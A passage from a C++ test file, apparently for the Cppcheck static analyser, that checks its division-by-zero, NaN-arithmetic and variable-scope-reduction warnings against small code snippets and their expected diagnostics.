int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Parameter 'vec' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"auto& foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n \" }\\n\"\n \" return *iter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope30() { // #8541\n check(\"bool f(std::vector& v, int i) {\\n\"\n \" int n = 0;\\n\"\n \" bool b = false;\\n\"\n \" std::for_each(v.begin(), v.end(), [&](int j) {\\n\"\n \" if (j == i) {\\n\"\n \" ++n;\\n\"\n \" if (n > 5)\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" });\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope31() { // #11099\n check(\"bool g(std::vector&);\\n\"\n \"void h(std::vector);\\n\"\n \"void f0(std::vector v) {\\n\"\n \" std::vector w{ v };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f1(std::vector v) {\\n\"\n \" std::vector w{ v.begin(), v.end() };\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f2(std::vector v) {\\n\"\n \" std::vector w{ 10, 0, std::allocator() };\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f3(std::vector v) {\\n\"\n \" std::vector w{ 10, 0 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n 